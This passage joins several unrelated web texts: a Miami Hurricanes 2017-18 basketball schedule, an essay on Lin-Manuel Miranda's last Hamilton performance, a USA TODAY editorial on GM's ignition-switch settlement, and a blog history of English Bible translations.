hosting Duke, the Hurricanes travel to Raleigh, N.C., for a second consecutive season to face NC State for a regional telecast on Jan. 21. Miami swept the Wolfpack last season, opening ACC play with an 81-63 win in Coral Gables and then rallying for 84-79 victory at PNC Arena. The Hurricanes return home to battle Louisville on Jan. 24, at 7:30 p.m. on ESPN2. Miami then faces the Seminoles a second time for a regional telecast in Tallahassee, Fla., on Jan. 27. Pittsburgh visits Watsco Center on the final day of January before the Hurricanes head to Blacksburg, Va., on Feb. 3, to face the Hokies. That 2 p.m. tipoff will be televised on either ESPN or ESPN2. The Hurricanes welcome Wake Forest to Coral Gables for an ESPN2 telecast on Feb. 7, followed by a road trip to Boston College on Feb. 10. The Hurricanes then return home to face Virginia on Feb. 13 for a 9 p.m. tip on ESPN2 before hosting the Orange four days later. Miami has a quick turnaround for its "Big Monday" encounter in South Bend on Feb. 19. The Hurricanes host Boston College on Feb. 24, for a regional telecast prior to their trip to Chapel Hill for a 9 p.m. tip on Feb. 27. Miami wraps up ACC play at Watsco Center on Mar. 3, against Virginia Tech at noon. That game will be telecast on either ESPN or ESPN2. The ACC Tournament will be held at the Barclays Center in Brooklyn, N.Y., for the second consecutive year. The 2018 tournament starts on Tuesday, Mar. 6, culminating with the championship game on Saturday, Mar. 10. In addition to their nine ACC games, the Hurricanes host five non-conference games at Watsco Center, starting with Gardner-Webb on Friday, Nov. 10. After back-to-back season ticket sellouts in 2015-16 and 2016-17, the demand for Hurricanes basketball season tickets is at an all-time high. "We have sold out our season tickets for the last two season and we anticipate that this will be the third year in a row that you will not be able to buy a ticket once our season begins in November," Larrañaga said. "We encourage all of our season ticket holders to be sure they sign up now -- don't wait, because there won't be any available soon." A limited amount of season tickets are still available to purchase beginning at only $150. Call 1-800-GO-CANES. 2017-18 Miami Hurricanes Basketball Schedule Friday, Nov. 10, 2017 Gardner-Webb TBA Sunday, Nov. 12, 2017 Navy TBA Thursday, Nov. 16, 2017 Florida A&M TBA Wednesday, Nov. 22, 2017 LaSalle* TBA Saturday, Nov. 25, 2017 North Florida TBA Wednesday, Nov. 29, 2017 @ Minnesota^ 9 p.m. ESPN2 Saturday, Dec. 2, 2017 Princeton$ 8 p.m. ESPNU Tuesday, Dec. 5, 2017 Boston University TBA Saturday, Dec. 16, 2017 @ George Washington TBA Saturday, Dec. 23, 2017 @ Hawai'i! 1 a.m. ESPNU Saturday, Dec. 23, 2017 Diamond Head Classic TBA Monday, Dec. 25, 2017 Diamond Head Classic TBA Saturday, Dec. 30, 2017 @ Pittsburgh 4 p.m. ACCN Wednesday, Jan. 3, 2018 @ Georgia Tech 9 p.m. RSN Sunday, Jan. 7, 2018 Florida State 6 p.m. ESPNU Saturday, Jan. 13, 2018 @ Clemson 3 p.m. ESPNU Monday, Jan. 15, 2018 Duke 7 p.m. ESPN Sunday, Jan. 21, 2018 @ NC State 2 p.m. ACCN Wednesday, Jan. 24, 2018 Louisville 7:30 p.m. ESPN2 Saturday, Jan. 27, 2018 @ Florida State 4 p.m. ACCN Wednesday, Jan. 31, 2018 Pittsburgh 7 p.m. RSN Saturday, Feb. 3, 2018 @ Virginia Tech 2 p.m. ESPN/ESPN2 Wednesday, Feb. 7, 2018 Wake Forest 7 p.m. ESPN2 Saturday, Feb. 10, 2018 @ Boston College 2 p.m. RSN Tuesday, Feb. 13, 2018 Virginia 9 p.m. ESPN2 Saturday, Feb. 17, 2018 Syracuse 12 p.m. CBS Monday, Feb. 19, 2018 @ Notre Dame 7 p.m. ESPN Saturday, Feb. 24, 2018 Boston College 2 p.m. RSN Tuesday, Feb. 27, 2018 @ North Carolina 9 p.m. ESPN Saturday, Mar. 3, 2018 Virginia Tech 12 p.m. ESPN/ESPN2 65th Annual ACC Tournament (Barclays Center, Brooklyn, N.Y.) Tuesday, March 6 (First Round) Game #1 ESPN2/ACCN 12 p.m. Game #2 ESPN2/ACCN 2 p.m. Game #3 ESPNU/ACCN 7 p.m. Wednesday, March 7 (Second Round) Game #4 ESPN/ACCN 12 p.m. Game #5 ESPN/ACCN 2 p.m. Game #6 ESPN2/ACCN 7 p.m. Game #7 ESPN2/ACCN 9 p.m. Thursday, March 8 (Quarterfinals) Game #8 ESPN/ACCN 12 p.m. Game #9 ESPN/ACCN 2 p.m. Game #10 ESPN/ACCN 7 p.m. Game #11 ESPN/ACCN 9 p.m. Friday, March 9 (Semifinals) Game #12 ESPN or ESPN2/ACCN 7 p.m. Game #13 ESPN or ESPN2/ACCN 9 p.m. Saturday, March 10 (Finals) Game #14 ESPN/ACCN 8:30 p.m. *Reading, PA ^ACC-Big Ten Challenge $Hoophall Miami Invitational (American Airlines Arena) !Diamond Head Classic (Honolulu, HI) ACC Regional Sports Networks Lineup FOX Sports South FOX Sports Southeast FOX Sports Florida FOX Sports Sun FOX Sports Midwest FOX Sports Indiana NESN YES Network CSN Mid Atlantic AT&T Sportsnet Pittsburgh -Lin-Manuel Miranda with cast during his final performance curtain call of ‘Hamilton’ on Broadway at Richard Rodgers Theatre on July 9, 2016, in New York City. A Meowth on 46th and 6th almost made me miss a historic night on Broadway, the last performance of Hamilton for star/creator Lin-Manuel Miranda, as well as Tony winner Leslie Odom Jr. (Aaron Burr), Phillipa Soo (Eliza Hamilton), and ensemble member Ariana DeBose. I was blocks away from the Richard Rogers Theatre, with my head down, looking at my Pokémon Go screen, and out of nowhere, one of my favorite Pokémon shows up. I needed to get to the theater, because I knew the scene outside would be a biblical shit-show, but this was Meowth. So I turned and walked the opposite direction from the theater, in an attempt to catch it. It took seven Pokéballs, one slight stumble off the curb, and dirty looks from a family that thought I was creepily taking pictures of them when in reality they were just standing right behind this beautiful Pokémon, but I got it. Celebrating with no one but myself, I remembered that Hamilton was happening in 20 minutes. And upon arriving on the block of the show, I realized that my seven-minute detour might have been a mistake. Because it was packed. Photo: Rembert Browne The scene outside felt like a red-carpet premiere. “Look who I’m with,” one man said looking into his phone, as a famous woman walked by, briefly crossing his screen. After she left, he stopped shooting video and asked his friend who she was. The friend didn’t know. It was Mariska Hargitay, which made me want to take his phone and stomp it out for not knowing the Queen. Before I went in, I saw Jane Fonda, Spike and Tonya Lewis Lee, Rosie O’Donnell, and many people who looked like Adam Levine but weren’t. By the time I made it to my seat, I’d already heard four people say versions of “We’re actually in the room where it’s happening,” a reference to the song “The Room Where It Happens,” in which Aaron Burr describes the envy of not being part of the power circle, in the room where the big decisions are made. Under any other conditions, moments like this would bring out a slight bit of eye-roll, but not tonight. The excitement was understood and it was clear no one was attempting to play it cool, which was oddly refreshing for New York City. Some people were pajama rich, dressed down like they were going to the movies, others glammed out as though they’d just come from the Met Gala. The spectacle was real, and the lights were still on, with six or seven minutes until the show was set to begin. Apparently Jennifer Lopez was there, which certainly gave her the belt for “most famous person here.” But it made sense — she and Lin-Manuel recently made a song together, “Love Makes the World Go Around,” a tribute to those affected by Orlando’s Pulse Nightclub shooting. What a weird thing Hamilton became, that it made sense for J.Lo to be in attendance. Unreal. Sitting there, thinking about J.Lo in the building, and then J.Lo in The Wedding Planner, and then J.Lo and Jane Fonda in Monster-in-Law, and then wondering what Michael Vartan has been up to, I must have missed a crew of men in suits with earpieces enter my area. Snapping out of my analog Wikipedia dive, I cased the room and saw four of these men, two by a doorway, two walking up a staircase. Moments later, Secretary of State John Kerry. One person started clapping, and then more people started clapping, and then a few people stood up, and then the entire room was giving John Kerry a standing ovation. Sorry, Ms. Lopez, but it looks like there’s a new belt-holder in town. And I don’t know why, but I felt great for Kerry in this moment. He’s not really hurting in any way, but it was nice to see him get some public respect. It’s easy to forget about Yung Swift Boat, so this was great. I wondered if he’d seen the show before. I wondered if there were parts of this that might get a bit real for him. I mean, he always kind of wanted to be in the room where — Okay, I now understood how painfully easy it was to make that annoying joke. It was embarrassing, but who cares. A few minutes later, after being thrilled for Secretary of State Kerry, I felt terrible for him, as things turned into a meet-and-greet, clogging up a staircase. People were talking to him and asking for pictures, and if you weren’t in the actual line, you were standing in front of him, getting that massive head and granite hair of his in your rudely unauthorized selfie. But then I felt good again, because he bent over to talk to a little kid in a backwards Hamilton hat. This was all so weird, and again, the show hadn’t even begun. And then things got really good. The Kerry meet-and-greet picked up steam again, with the long-armed Kerry now taking the selfies himself, again crowding the staircase. Which made it comically difficult for Aaron Paul to get where he needed to go. Photo: Rembert Browne When this happens, you have to break your “no photos of celebrities” rule. Is Aaron trying to talk to Secretary of State John Kerry? Did he sign up for this meet-and-greet? Is John Kerry a Breaking Bad fan, and if so, will he say something to Aaron? Is Aaron just trying to test his July 2016 swag by walking by Kerry, catching his eye, and seeing what happens? Unfortunately, we’ll never know, because someone thought this was the moment to dim the lights and start the musical. Moments later, “How does a bastard, orphan …” *** Intermission was wild, mainly because I walked around and finally spotted Jennifer Lopez. It wasn’t hard to figure out where she was, there were throngs of people standing around, near her as well as up on the balcony, just staring at her. The room was buzzing, after being extremely fired up through the whole first act. Miranda received a standing ovation for the first number, “Alexander Hamilton,” and the cheers sounded more like what you’d hear at a sporting event than a Broadway show. It was exciting, and almost everyone behaved perfectly, except for that one lady. That lady. The thing about Hamilton is that it’s a triumph, easily one of the great musicals, an extremely transformative experience. The other thing about Hamilton is that some people like it too much, and these people are terrifying and must be destroyed, because they might challenge you to a duel and shoot you between the ribs if you interrupt them while they’re singing “Wait for It.” I had one of these people in my section, and not only did she sing along, she repeatedly raised her arms and screamed, and would drum on things that weren’t drums, and any time there was a progressive line about immigrants, slavery, or equal rights, she would either clap, or stand up and then clap. During “The Schuyler Sisters” — the fifth number — her presence had already been felt. And throughout that song, in her honor, I mentally changed the word “work” to “woke” in the lyrics. Because she was so woke. The woke god. But it made sense, there were groups in this country that helped build it, groups that were treated unfairly and not properly credited. And she wanted you to know that she knew that. God bless her. Anyway, after about 20 minutes, the lights dimmed again. *** Hamilton will go on in a powerful, important way — both in New York and on tour — but this was certainly the end of an era. While the crowd was in a frenzy, what happened on stage was like any other night. There was one moment when Rory O’Malley (King George) blew Odom (Burr) a kiss, making Odom laugh, which delighted the crowd. And both Odom and Christopher Jackson (George Washington) received standing ovations for “The Room Where It Happens” and “One Last Time,” respectively. But when it wrapped up, there wasn’t a ten-minute Lin-Manuel speech, no one rolled out a cake, Barack and Hillary didn’t show up — there was no self-initiated hoopla. Photo: Rembert Browne After bows from the full cast, the four actors who were leaving stepped forward, and then Jackson pushed Miranda to the front of the stage for more solo applause from the crowd, which was very much deserved. But right when it seemed to be over, suddenly the orchestra started playing the theme song from The West Wing, a show Miranda has cited as an inspiration. I expected many things on this night, but getting slightly choked up at watching Lin-Manuel Miranda laugh at the surprise, while thinking about my heroes Josh Lyman and Sam Seaborn, wasn’t one of them. But this wasn’t a normal show, and this wasn’t a normal night, so it was a fitting way for it to end, triumphantly abnormal. What a run. -Settlement in ignition defect doesn't include criminal charges against individuals. GM recall survivors protest on Capitol Hill in 2014. (Photo: J. Scott Applewhite, AP) The $900 million General Motors agreed on Thursday to pay the government for concealing a deadly ignition switch from regulators is a lot of money — nearly one-third of GM's earnings last year — though hardly an existential threat to the company. Indeed, GM stock was up 11 cents to $31.31 a share on the news. But the truly disturbing part of the announcement was that not a single individual has been criminally charged for concealing the defect: a faulty ignition switch that allowed cars to suddenly stall or prevented air bags from deploying. Defective vehicles remained on the road even as cars crashed, lawyers secretly settled complaints with victims' families, and more than 120 people were killed. Real people, not some faceless “company,” made the fateful decisions not to fix a switch that failed to perform properly even before it went into production in 2002; not to do more once complaints of stalls and shutoffs came in; not to inform regulators of the defect when occupants began dying in crashes; and not to stop selling cars and misleading the public about their safety. No one — engineers, lawyers or executives — has been personally called to account before the law. Laura Christian, whose 16-year-old daughter was one of GM's earliest victims, in 2005, described why the system needs to change. “We buried our loved ones because GM buried a deadly defect. And yet today, all GM has to do is write another check to escape.” Thursday's disappointing conclusion after months of federal investigation is simply par for the course. In the past decade, corporations have gotten away with all manner of fraud, self-dealing, negligent manufacturing and market manipulation. The subprime mortgage industry nearly brought down the U.S. economy and ruined untold number of lives. But to the extent there was punishment at all after these acts, it usually involved a company writing a check, as if these firms ran on automatic pilot. Individuals are deterred from wrongdoing by the prospect of going to jail, much more so than by the prospect of seeing the corporate treasurer pay money to the government. In GM's case, federal prosecutors in New York can point to two criminal charges against General Motors, the company, for concealing a deadly defect and for wire fraud. But even here, GM got off easy. The charges are deferred and will be dismissed in three years if GM fixes its recall process under an appointed federal monitor. Prosecutors also left the door open to charging individuals in the future, but nobody should hold their breath. It's hard to see what more investigating could turn up at this stage. If criminal laws are inadequate to handle the types of fraud or negligence committed by people running companies, it’s time to carefully re-examine those laws. For auto safety, there’s an easy fix. Under laws that cover many consumer products, individuals at companies can be charged criminally when they willfully fail to report unsafe products to regulators. Auto safety laws make it far more difficult to prosecute company executives for similar acts. Three Democratic senators — Richard Blumenthal of Connecticut, Ed Markey of Massachusetts and Bill Nelson of Florida — have been pushing a measure that would plug this hole, making it easier to hold auto executives responsible when safety laws are willfully flouted. Despite the uproar over hidden defects in Toyota vehicles a few years ago and the recent GM fiasco, the measure has failed to gain traction in Congress. The Senate, which will consider an auto safety measure this fall, should embrace it. The logic is pretty simple. If an individual who kills someone, even unintentionally, through negligent acts with a car can be charged with manslaughter, individuals at a company that kills scores of people with a car they know is unsafe ought to face criminal prosecution, too. USA TODAY's editorial opinions are decided by its Editorial Board, separate from the news staff. Most editorials are coupled with an opposing view — a unique USA TODAY feature. To read more editorials, go to the Opinion front page or sign up for the daily Opinion e-mail newsletter. Read or Share this story: http://usat.ly/1F5lFPj -A Fundamentalist Born and Raised I was born and raised a fundamentalist. Or, as some of my friends used to passionately say, a “King-James-Bible-Preaching-Devil-Hating-White-Shirt-Wearing-Biscuit-Eating-Capital-B-BAPTIST.” Please, don’t turn off your computer and run away scared. My story doesn’t end that way. [Tweet “I was a King James Bible Preaching Devil Hating White Shirt Wearing Biscuit Eating Capital B-BAPTIST.”] I graduated with honors and a four-year diploma from a fundamental baptist Bible college. I almost completed several years of graduate work from the same school. I attended “King James Only” or “TR only” churches for almost all of that time. I preached in some of them on a regular basis. If you had asked me in those days, I would have help up my nose in pride and explained that I was King James in much the same way as one might say, “I am reformed.” I look back and wonder at the oddity of such a statement. My name is Tim, not James! And while I’m a king in God’s eyes, I’ve never worn a crown. Nevertheless, that’s what we said. What was meant by this sentiment? I was convinced that the KJV was the only preserved Word of God in English, and that every other translation was inferior at best, and perhaps even evil or demonically influenced. Then, something amazing happened—something that rocked my world and made me a different person. It brought me closer to God than I’d ever been before and gave me a stronger faith than I’d ever had; I learned things. The KJV Is Not the Only Option for a Bible Translation I took Dan Wallace’s Credo Course on Textual Criticism. I took Gary Habermas’ Credo Course on the Resurrection. I went through the entire “Theology Program.” I learned things—things I had somehow never known, and things, I suspect, I had been carefully “sheltered” from. I realized how utterly and unforgivably ignorant I was. I’ll mention only a few of the things I learned. The resurrection of Jesus was the true center of my faith. He and he alone deserved the place at the center of my life that, sadly, so many other things had occupied. I could let go of everything but Jesus, and still have all that I needed, because I had Him. God was most honored, not by a blind adherence to dogma that cannot be challenged, but by a breathless pursuit of truth that was willing to go wherever the evidence took me. After reading Aland, Metzger, and Tov as well as Scrivener, I realized it simply wasn’t possible to claim that the KJV was verbally perfect or that the Greek Textus Receptus and Hebrew Masoretic Texts were perfect unless one was willing to say that the KJV translators were supernaturally inspired by God to correct every Hebrew and Greek manuscript in existence. And even if you grant this, you’d still have to decide which KJV was perfect – the 1611 in its original form or the slightly different edition of 1769 which is what most today use? I didn’t know much, but I knew enough to know I couldn’t and didn’t want to say that. It wasn’t honoring to God, his Word, or to truth. This left me with something of a dilemma—one which, due to my upbringing, I had never faced before. If the KJV is not perfect and is not the only Word of God in English, how do I choose what translation to use? If the KJV is not the only Word of God in English, there are options, and with all options comes the responsibility of choice. So how do you choose? To answer questions like this, you must know a little bit about the history of English translations of the Bible, and the different textual and translation theories behind modern versions. A Brief History of English Bible Versions The Original Tongues While some may not be aware of this, the Bible wasn’t originally written in English. When the human authors of the Old Testament (OT) put quill to papyri, they wrote in Hebrew, and a few small portions of Daniel and Ezra were written in Aramaic. When the New Testament (NT) authors penned their works, they wrote in Greek. However, most of us simple folk do not know Greek well enough to pick it up and read it. Even fewer of us chat with our friends on Facebook in Hebrew and Aramaic. This means that if we are to read the Word of God, we must do it through an English translation of the original languages. John Wycliffe While one may rightly point to figures like Alfred the Great, the Venerable Bede, and others as early examples of translating the Bible into English, it is in the work of John Wycliffe and his followers that almost all today would find as the first complete Bible in English. The official Bible of Wycliffe’s day was the Latin Vulgate, which was translated by Jerome almost a millennium earlier. But the common man spoke English. Convinced that every man was responsible to obey what God had said, Wycliffe and his “Lollard” followers desired every man to be able to read the Scriptures in their own tongue. The story of their brave persistence and sacrifice in completing this translation, at risk of life and limb, would rival the level of action in your favorite comic book series. However, their work was to translate from the common Latin into English. While this gave us a Bible in English, it was an extra step removed from the original languages. With the fires of the Reformation burning bright, fueled by the invention of reusable metal type and fanned by the revival of learning which it sparked, a second-hand translation from the Vulgate would not suffice. As the cry of Ad Fontes rang loud, a direct translation of the original languages was the desired response. And one William Tyndale arose to bravely answer this call. William Tyndale Tyndale had the advantage of an Oxford and Cambridge education, as well as the benefit of the Greek NT of Erasmus (though he at times still leaned on the Latin Vulgate). With the bravery of a lion, he faced opposition and persecution as he translated first the NT and eventually the OT into English. The Constitutions of Oxford had made translating the Bible into English illegal, and both translations and their translators were being burned. Even so, Tyndale and his helpers pressed on in their goal, even to the point of Tyndale’s own death by burning at the stake. A Bible in English, from the original Hebrew and Greek, was the blood-wrought result. There would be others along the way (Coverdale, Matthew, Geneva, Great, Bishops, etc.), but none would so stand out or endure as his. In fact, in some ways, each of the runner-ups could be considered as mere revisions of Tyndale’s work. Truly, the splash made by Tyndale’s life and work rippled into almost every English translation to come after him. The King James Version In 1604 at the Hampton conference, a new translation was called for. Then in 1611 six panels consisting of forty-seven of the best scholars of the day finished what became the most enduring English translation to date. While they sought to create a work “newly translated out of the original tongues,” they noted the diligent comparing and revising of the former translations as essential to their work. In fact, in the prefatory “The Translator to the Reader,” they noted the following: “Truly (good Christian Reader) we never thought from the beginning, that we should need to make a new Translation, nor yet to make of a bad one a good one […] but to make a good one better, or out of many good ones, one principle good one…” Their admitted indebtedness to Tyndale is revealed on almost every page. It has been said that more than 70% of the language of the KJV is actually the language of Tyndale repeated. They did produce a new translation; and in the process, created one of the greatest and most enduring literary works ever produced in English. But in another very real sense, they were simply retweeting Tyndale. [Tweet “They did produce a new translation but in a sense, they were simply retweeting Tyndale.”] The Arrival of a Modern Text – What Do We Translate? Erasmus to Lachmann Much work was done after 1611 in the ever-blossoming field of NT studies. When Erasmus had produced the first critical edition of the Greek NT in 1516—which is essentially the text the KJV translators had used—he had included around 1000 annotations to the text which dealt with differences between the different manuscripts of the NT that were known to him. These differences are known as “textual variants.” With his text, the science of NT textual criticism was born. Textual criticism is the science of comparing the minor differences in the different manuscripts to discover exactly what the text read when it left the original author’s control. As with most births, a growth period would soon follow the birth of textual criticism. As more and more Greek NT manuscripts were discovered, new editions of the Greek NT continued to incorporate these finds (mostly in marginal notes) without making any significant changes to the text itself. With Karl Lachmann in 1831, that all began to change. His printed Greek text was the first to break with Erasmus’ text and allow textual variants to change not only the shape of the marginal notes, but also the shape of the text itself. He believed the most reliable way to reproduce the original form of the NT text was to lean most heavily on the manuscripts which were most ancient rather than relying exclusively on Erasmus’ much later texts. His ideas were continued in critical editions of the Greek NT published by men such as Griesbach, Tischendorf, and Tregelles. But none of them would have the impact of the two scholars who broke onto the scene in the latter half of the 1800s. If Erasmus started the journey, and if Lachmann and others broadened the small trail, we must give credit to two men who turned that trail into a blazing highway. These two men were B.F. Westcott, and F.J.A. Hort. Hort and Westcott After roughly 30 years of intense work on the Greek NT, these two scholars had taken the spark of Lachmann and fanned it into a burning flame. They were working on a new edition of the Greek NT, following text critical principles that have come to underlie almost all modern editions of the NT today. Hort and Westcott were committee members of the newly commissioned revision to the KJV (known as the Revised Version) that had been called for in 1870. As the revision took place, they shared the results of their own textual critical work with those on the translation committee. Like Lachmann before them, they were convinced that the form of the NT text that most closely resembled the original autographs would be found in the most ancient copies. Several uncial manuscripts had been discovered which were almost a full millennium older than those upon which Erasmus had primarily based his work. Whatever the merits of the translation of the RV, its great gift to the world was that it was essentially based upon these older manuscripts. The era of modern translations was born. Older Is Better, and Newer Is Older When we speak of “new manuscript discoveries”, we’re typically talking about the discovery of older manuscripts. The only way in which they’re new is that they were recently discovered. In this sense, newer isn’t better because it’s newer; it’s better precisely because it’s older. Hort and Westcott did their revising work with basically five uncial manuscripts that predated those which had formed the Textus Receptus by, in some cases around 1,000 years. Today, we have discovered so much more. We’ve discovered 323 uncial manuscripts. Even more significant, we have unearthed 131 papyri manuscripts which mostly date even earlier than the uncial manuscripts. A few date to as early as the second century A.D. Historically speaking, that is astonishingly close to the writing of the original autographs. Rumor has it that a fragment of the Gospel of Mark has even been recently discovered which dates somewhere in the 80s A.D. We also continue to discover manuscripts from the later periods. This increases our confidence in the general stability of the text of the NT. In addition to the Greek NT manuscripts, we also have over 10,000 manuscripts of ancient Latin translations of the NT. We have anywhere between 5,000 and 10,000 manuscripts of translations into other ancient languages. As if that weren’t enough to garner confidence, we also have over a million quotations of Scripture from the early church fathers which bear witness to the text of Scripture. [Tweet “Quite simply, we have an astounding amount of data that bear witness to the NT text.”] When the KJV translators produced their work, it was based on essentially a dozen or so Greek NT manuscripts. Today, we have access to 5,839 of them. As the work of textual criticism continues today, we gain (with every new discovery) an ever-increasing confidence in the general reliability of the NT text, and we tweak the minor details to bring us closer and closer to exactly what was originally written by those who penned our NT under the inspiration of the Holy Spirit. We can rest quite confident that the NT text we have today is, in all essentials, exactly what was written by the original authors. Modern translations differ from the KJV in that they are based on representations of the original text that are much more fully informed by the evidence. Today, that text is found in the NA28 and the UBS5 Greek texts. Put simply, we have much more data today than they did then. Today, there are only two English translations which are based on the older Textus Receptus (Remember, older here actually means later.): the King James Version, (last updated in 1769) and the New King James Version. All other modern versions are based on the newer (which means older) texts. Translation Philosophies – How Do We Translate It? When choosing a translation today, not only do you have to make a choice between an older or newer original language text, you must also choose between different philosophies of translation. Where did these theories come from, and how to they work? To answer that, we must first consider two men who have had a major influence on how translations are done today. Adolf Deissmann and the Discovery of the Papyri In 1895 Adolf Deissmann changed the landscape of biblical studies significantly when he published his work Bible Studies . In some ways, what made his work so revolutionary were the presuppositions which had come before it. It had been common to think of the language of the NT as a unique language, above that of the mundane life. Some even spoke of “Holy Ghost Greek” in reference to the NT. Deissmann demonstrated that a comparison of the many ancient papyri scraps from the Roman period with the Greek of the NT revealed that the language of the NT was rather the language of the common man. It was written in the conversational style of the average Joe. While the effect of Deissmann’s work was initially felt in the revamping of lexicons, it would eventually also be felt in the revamping of translation theory. If the original language of the NT was a conversational style intended to communicate to the common man, then shouldn’t translations into other languages seek to communicate in the same way? Eugene Nida and the Proposal of Dynamic Equivalence In the mid 1950s a man named Eugene Nida would take similar ideas and help us think carefully through our understanding of translation and the task it should accomplish. Born right here in OKC, OK, Nida was a Baptist minister who gained his Ph.D. in linguistics and began to propose refinements to translation theory. He published Toward a Science of Translating (Brill, 1964) in the mid 1900s and was a founding member of Wycliffe Bible Translators. His suggestions were very widely received. While it had been common to think of translation in terms of either strictly literal or simply paraphrase, Nida showed at length that, in fact, these tight categories were overly simplistic. There is never perfect correspondence between any two languages, and perfect translation between them is impossible. He understood well that all translation already involves interpretation and that a goal of being less interpretive in translation is to miss the target by shooting for the moon. No translation, however literal, can claim not to involve the interpretations of the translators. He proposed that instead of thinking of two strictly different ways of translating, we should recognize that these traditional options are actually more like two opposing poles on a continuum; and it might be a more accurate representation of the function of an original text if a translation sought a kind of “middle ground” between them. This middle ground he termed “dynamic equivalence.” And so was born the modern approach to translation theory. It has been suggested that today there are basically three philosophies of translation in use: formal equivalence, functional equivalence, and what is known as free translation. Formal Equivalence (Emphasis on Individual Words) Formal equivalence is the philosophy that seeks to keep as close as possible to the form of the original language, retaining (as much as possible) the words of the original and even, where possible, the form of those words. It has as its goal the representation of the words of the original language in equivalent words in the translation, even if this causes awkward and unnatural English. Functional Equivalence (Emphasis on Sentences) Functional equivalence recognizes that all translation is already interpretation and that for the modern reader to feel the impact the original readers felt when they read the original, the translators must find the meaning of the text and convey that meaning through the translation. Its goal is to represent the meaning of the original text in modern equivalents. In one sense, one might fairly say that the sentence becomes the translational unit in such a philosophy. The words and their order may be changed slightly into more modern equivalents so that they are smooth English. In another sense, that wouldn’t be true, since the goal is still to translate the words. However, if the language and grammar must be sacrificed to make the meaning clearer in natural English, the degree to which a translation is willing to make this sacrifice is the degree to which the translation has chosen functional over formal equivalence. Free Translation (Emphasis on Thoughts) Free translation is what is often referred to as paraphrase. There is no attempt to maintain the words or the form of the original. The goal is to remove as much as possible the distance between the modern reader and the ancient text. The goal then is to translate ideas rather than words or even sentences. In many ways, such paraphrase is not truly translation. By definition, such an approach will contain more of the interpretation of the translator. Most who have produced such free translations would readily acknowledge this and wouldn’t want anyone to use their work as their sole Bible. That being said, understand that all translations are to greater or lesser degrees a mixture of these approaches. It is impossible to be woodenly literal in translation at all points. It is also impossible to be fully “free” and avoid formal translation at all points. It might be best to think of a spectrum with a woodenly literal interlinear at one end and a free paraphrase at the other. Every translation can be placed on this spectrum. If we were to chart the most readily available translations today, we might see where they would land on such a continuum by suggesting the following chart; Chart of Translations A Brief Examination of Some Major Translations Interlinears YLT/Mounce If someone chooses (for whatever reasons) to go with a translation from the older TR instead of the modern texts, they could turn to Young’s Literal Translation (YLT) for the most literal translation of that text. Robert Young felt that belief in the verbal inspiration of Scripture demanded the most literal translation of the text as was possible, even if slavishly following the word order and form of the original text produced horrible English. He thus produced in 1862 the YLT. While not truly an interlinear (because it doesn’t present the Greek and Hebrew texts), it follows the same basic woodenly literal style of translation followed by an interlinear version. For example, note how his rendering of John 3:16 reads: “For God did so love the world, that His Son—the only begotten— He gave, that every one who is believing in him may not perish, but may have life age-during.” (Footnote) Today, William Mounce has worked with Zondervan to produce several interlinear translations which are much more valuable than previous formats and take advantage of modern textual advances; . In these new editions, the original language is presented in its original order. This can easily be seen, but instead of awkward and impossible English, Mounce has used a system of italicized words to still produce good English. In addition, he has included the full text of common English translations in columns on the side. If you are looking for a way to see a glimpse of the structure of the original language but don’t want to learn the languages, such interlinear are a valuable option. However, there is no substitute for an understanding of the lexical, syntactical, grammatical structures, and nuances of the original languages. All you will truly get from an interlinear is the original word order and perhaps some good lexical definition. One could easily mistake such a brief passing acquaintance for a close relationship with the original text, but that would be to fool oneself. If your acquaintance with the original languages is based on an interlinear, your relationship with them is on the level of “just met.” So please don’t go around telling people that you’re married. Formal Equivalence Translations KJV/NKJV If you want a translation that has the TR as its basis but don’t want the slavishly literal translation of Young’s, you’re left with two basic options: the KJV or NKJV. The KJV is nothing short of a monument to the English language. Its beauty and elegance are unsurpassed. When it was first printed, it became an instant literary classic. In terms of English style, probably no English version will ever approach it. If you’ve come from a long tradition of using the KJV, it may be hard for you to even read the Bible in anything other than “King James English.” Many have formed a deep emotional attachment to this translation . I would never try to get anyone to stop using it. In fact, I think every Christian should own and read a copy of the KJV. We just shouldn’t claim it’s perfect or that it’s the only translation God approves of. Using the KJV will leave you with the impression that you’ve been in the presence of royalty, and its rhythmic prose and enduring turns of phrase will leave a lasting impression upon your heart and will likely spring easily to mind for many years to come. It is and always will be a great translation with an impressive pedigree. It will always hold a dear place in the hearts of English speaking peoples. The NKJV has retained the same original language texts that stood behind the KJV, but the translation has been updated to reflect modern English (and in some cases to produce a more literal translation and more natural translation). However, some have suggested that the choice to retain the text of the KJV but revise its language was in fact to choose to keep the element of the KJV which was inferior (its text), and remove the element which made the KJV so superior (the beauty and elegance of its language) . It might even be said that it was like snipping the rose off its stem; you lose the enticing aroma and the intrinsic beauty, but you keep the thorny stem. The only reason to use the NKJV is if you desire for theological reasons to retain the use of the TR as the original language text but desire a good translation of that text into modern and more easily understandable English. But anyone reading either the KJV or the NKJV should know that several of the passages in it were almost certainly not written by the Biblical authors (such as I John 5:7, or Acts 9:5–6). NASB/HCSB Produced by the Lockman Foundation in 1971 and significantly revised in 1995, the New American Standard Bible (NASB) sought to be the most formally equivalent translation of modern texts as possible without being a slavishly literal translation like that of an interlinear. The Lockman foundation makes the claim for their work that, “At no point did the translators attempt to interpret Scripture through translation. Instead, the NASB translation team adhered to the principles of literal translation. This is the most exacting and demanding method of translation, requiring a word-for-word translation that is both accurate and readable[…] Instead of telling the reader what to think, the updated NASB provides the most precise translation with which to conduct a personal journey through the Word of God.” As we have seen when we mentioned Nida’s work above, such claims are at best overstated. All translation is interpretation. Nonetheless, if one is seeking for the most literal translation short of an interlinear, the NASB is a good choice. It was the favorite among Southern Baptists for many years, but that pride of place has now gone to the HCSB. The Holman Christian Standard Bible (HCSB) is a much more recent translation. Produced by the Sunday School Board of the Southern Baptist Convention (SBC), the HCSB intended to serve as an alternative to the NIV for Southern Baptist curriculum and ministry. The translation promoted what they termed “optimal equivalence” as a middle ground between formal and functional equivalence. In some ways it picks up the very literal style of the NASB before it. It seeks to follow in that literal translation vein except when that would sacrifice good English. At that point, it maintains good English and presents the more literal translation as a footnote with the “Lit.” abbreviation. I think this is a very helpful approach, especially for those seeking a more literal translation. It’s generally more theologically conservative in its translation and suits well the SBC which created it. It generally leans towards more traditional use of gender language. My understanding is that it was originally intended to be a translation of the “Majority Text” of Hodges and Farstad. This would have made it a very unique translation and would have thrown a “3rd text” of the Greek NT on the English market, but this plan was ultimately abandoned. However, as perhaps something of a vestigial remnant of that purpose, it does still occasionally retain TR readings (in brackets) that have been relegated to the footnotes in most modern versions (e.g. the doxology at the end of Matt. 6:13, or the text of Acts 8:37). RSV/NRSV/ESV The British Revised Version was the first major revision of the 